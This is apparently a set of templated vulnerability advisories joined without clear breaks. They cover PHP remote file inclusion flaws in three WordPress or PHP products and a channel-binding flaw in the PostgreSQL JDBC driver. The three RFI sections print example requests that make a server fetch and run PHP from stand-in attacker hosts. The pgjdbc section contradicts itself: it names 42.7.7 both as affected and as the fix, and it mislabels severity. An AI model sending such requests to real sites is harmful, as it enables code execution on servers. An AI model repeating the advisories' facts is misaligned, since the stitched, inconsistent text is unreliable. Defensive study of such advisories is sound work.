Author: Ameeba

Overview

Unfoldwp’s Blogbyte, a popular PHP application, has been found to contain a significant security vulnerability identified as CVE-2025-49275. This particular issue is due to an improper control of filename for include/require statement in PHP programming, more commonly known as ‘PHP Remote File Inclusion’. The severity of this vulnerability is high as it could potentially lead to a system compromise or data leakage. It is crucial for users and administrators of Blogbyte versions up to and including 1.1.1 to understand the implications of this vulnerability and take immediate steps to mitigate its risk.

Vulnerability Summary

CVE ID: CVE-2025-49275
Severity: High (8.1 CVSS Score)
Attack Vector: Network
Privileges Required: Low
User Interaction: None
Impact: System compromise or data leakage

Affected Products

Product | Affected Versions

Unfoldwp Blogbyte | up to and including 1.1.1

How the Exploit Works

The vulnerability stems from the improper control of filenames for include/require statements in PHP programs. This allows an attacker to manipulate the file that is included at runtime. By manipulating the filename, an attacker can cause the application to include a file from a remote server which can contain malicious PHP code. This code is then executed in the context of the application, allowing the attacker to compromise the system or leak data.

Conceptual Example Code

Here’s a conceptual example of how the vulnerability might be exploited. This example is a simple HTTP request where the attacker has manipulated the ‘page’ parameter to include a malicious PHP file from a remote server.

GET /index.php?page=http://malicious.example.com/malicious_file.php HTTP/1.1
Host: target.example.com

In this example, the PHP application would include and execute the malicious_file.php from the malicious.example.com server, potentially leading to a system compromise or data leakage.

Mitigation

For users and administrators of Unfoldwp Blogbyte, immediate steps should be taken to mitigate this vulnerability. The preferred mitigation method is to apply the vendor-supplied patch for this issue. If the patch cannot be applied immediately, using a Web Application Firewall (WAF) or Intrusion Detection System (IDS) can provide temporary mitigation. However, these measures only serve as a temporary fix and may not completely eliminate the risk. Therefore, it is strongly recommended to apply the vendor patch as soon as feasible.

Overview

The Common Vulnerabilities and Exposures (CVE) system has identified a significant security vulnerability tagged as CVE-2025-48126. This particular vulnerability, an instance of PHP Remote File Inclusion, affects the Essential Real Estate plugin by g5theme. The plugin, commonly used in real estate websites for various functionalities, suffers from an Improper Control of Filename for Include/Require Statement in its PHP Program.
This vulnerability is significant due to its potential for system compromise and data leakage. Malicious actors could exploit this vulnerability to execute arbitrary PHP code on the server-side. Given the widespread use of the Essential Real Estate plugin in the real estate industry, the impact of this vulnerability could be extensive if left unaddressed.

Vulnerability Summary

CVE ID: CVE-2025-48126
Severity: High (CVSS: 8.1)
Attack Vector: Network
Privileges Required: None
User Interaction: None
Impact: System compromise and potential data leakage

Affected Products

Product | Affected Versions

g5theme Essential Real Estate | n/a through 5.2.1

How the Exploit Works

The vulnerability arises from the improper control of filenames in Include/Require statements in the PHP program of Essential Real Estate. This improper control allows remote files to be included, leading to Remote File Inclusion (RFI). In this scenario, an attacker could manipulate the PHP code that the server executes.
By injecting a malicious path into the vulnerable parameter, the attacker can cause the server to include a remote file containing malicious PHP code. Once included, this code is executed by the server, potentially leading to system compromise or data leakage.

Conceptual Example Code

Here is a conceptual example of what exploiting this vulnerability could look like. The attacker sends a malicious HTTP request like the following:

GET /realestate.php?file=http://attacker.com/malicious.php HTTP/1.1
Host: target.example.com

In this example, `realestate.php` is the vulnerable script, and `file` is the vulnerable parameter. The attacker has set the `file` parameter to a URL that points to a PHP file (`malicious.php`) under their control. The server then fetches and executes the malicious PHP script, leading to the potential compromise of the system.

Overview

CVE-2025-48125 refers to a high-risk vulnerability found within the WP Event Manager, a popular WordPress event management plugin. This vulnerability, dubbed a PHP Remote File Inclusion (RFI), poses a significant threat to the integrity and confidentiality of data. RFI vulnerabilities can be exploited to include files from remote servers, allowing attackers to execute arbitrary code and potentially compromise the system. Given the widespread use of WP Event Manager and the severity of this vulnerability, it is crucial for administrators and developers to understand and address this issue promptly.

Vulnerability Summary

CVE ID: CVE-2025-48125
Severity: High (CVSS Score 8.1)
Attack Vector: Network
Privileges Required: Low
User Interaction: None
Impact: System compromise, potential data leakage

Affected Products

Product | Affected Versions

WP Event Manager | Up to 3.1.49

How the Exploit Works

The vulnerability arises due to improper control of filenames for include/require statements in the PHP program of WP Event Manager. An attacker can manipulate these statements to include arbitrary PHP files from a remote server. The attacker’s server can deliver malicious scripts, which are then executed in the context of the application. This can lead to unauthorized disclosure, modification, or even total destruction of data.

Conceptual Example Code

Below is a conceptual example of how this vulnerability might be exploited:

GET /index.php?page=http://attacker.com/malicious_script.txt HTTP/1.1
Host: vulnerablewebsite.com

In this request, the attacker tries to exploit the vulnerability in the “page” parameter. The attacker provides a URL (http://attacker.com/malicious_script.txt) instead of a page name. If the application is vulnerable, it will include and execute the malicious_script.txt hosted on the attacker’s server.

Mitigation Guidance

The most effective way to mitigate this vulnerability is by applying the vendor’s patch. WP Event Manager version 3.1.50 and later have addressed this vulnerability. In cases where immediate patching is not feasible, a Web Application Firewall (WAF) or Intrusion Detection System (IDS) can be used as temporary mitigation, blocking requests that appear to exploit this vulnerability. However, these measures do not fully address the underlying issue and should be combined with a patch as soon as possible. Regularly updating and patching software remains the best defense against potential exploits.

Overview

The cybersecurity landscape is under constant threat from various vulnerabilities, one of which is CVE-2025-49146. This vulnerability pertains to the PostgreSQL JDBC driver, also known as pgjdbc. It affects versions from 42.7.4 to 42.7.7. This vulnerability matters because it can allow a man-in-the-middle attacker to intercept connections that users believed were protected by channel binding requirements, which can potentially lead to grave scenarios such as system compromise or data leakage.

Vulnerability Summary

CVE ID: CVE-2025-49146
Severity: Critical (8.2 CVSS score)
Attack Vector: Network
Privileges Required: None
User Interaction: None
Impact: Potential system compromise or data leakage

Affected Products

Product | Affected Versions

pgjdbc (PostgreSQL JDBC driver) | 42.7.4 to 42.7.7

How the Exploit Works

The exploit takes advantage of the channel binding configuration in the PostgreSQL JDBC driver. When the driver is configured with channel binding set to ‘required’, it should only allow connections that support channel binding. However, due to this vulnerability, it incorrectly allows connections with authentication methods that do not support channel binding, such as password, MD5, GSS, or SSPI authentication. This lapse in the driver’s security can allow a man-in-the-middle attacker to intercept and manipulate these connections.

Conceptual Example Code

For illustrative purposes, a conceptual example of how the vulnerability might be exploited could look like this:

Connection connection = DriverManager.getConnection("jdbc:postgresql://localhost/test?user=postgres&password=postgres&sslmode=require&channelBinding=require");
// The connection will succeed even if the server does not support channel binding, allowing a potential man-in-the-middle attack.

Note: This is a simplified and hypothetical example. The actual exploitation process could be more complex and could involve additional steps or conditions.

Recommendations for Mitigation

The most effective mitigation for this vulnerability is to apply the vendor’s patch. The vulnerability has been fixed in version 42.7.7 of the PostgreSQL JDBC driver. So, users are advised to upgrade to this version or later. In the meantime, using a Web Application Firewall (WAF) or an Intrusion Detection System (IDS) can serve as temporary mitigation. These tools can help detect and prevent potential exploitation attempts.
Finally, it’s recommended to always use trusted networks and securely configured servers. This can reduce the risk of man-in-the-middle attacks, which this vulnerability could potentially enable.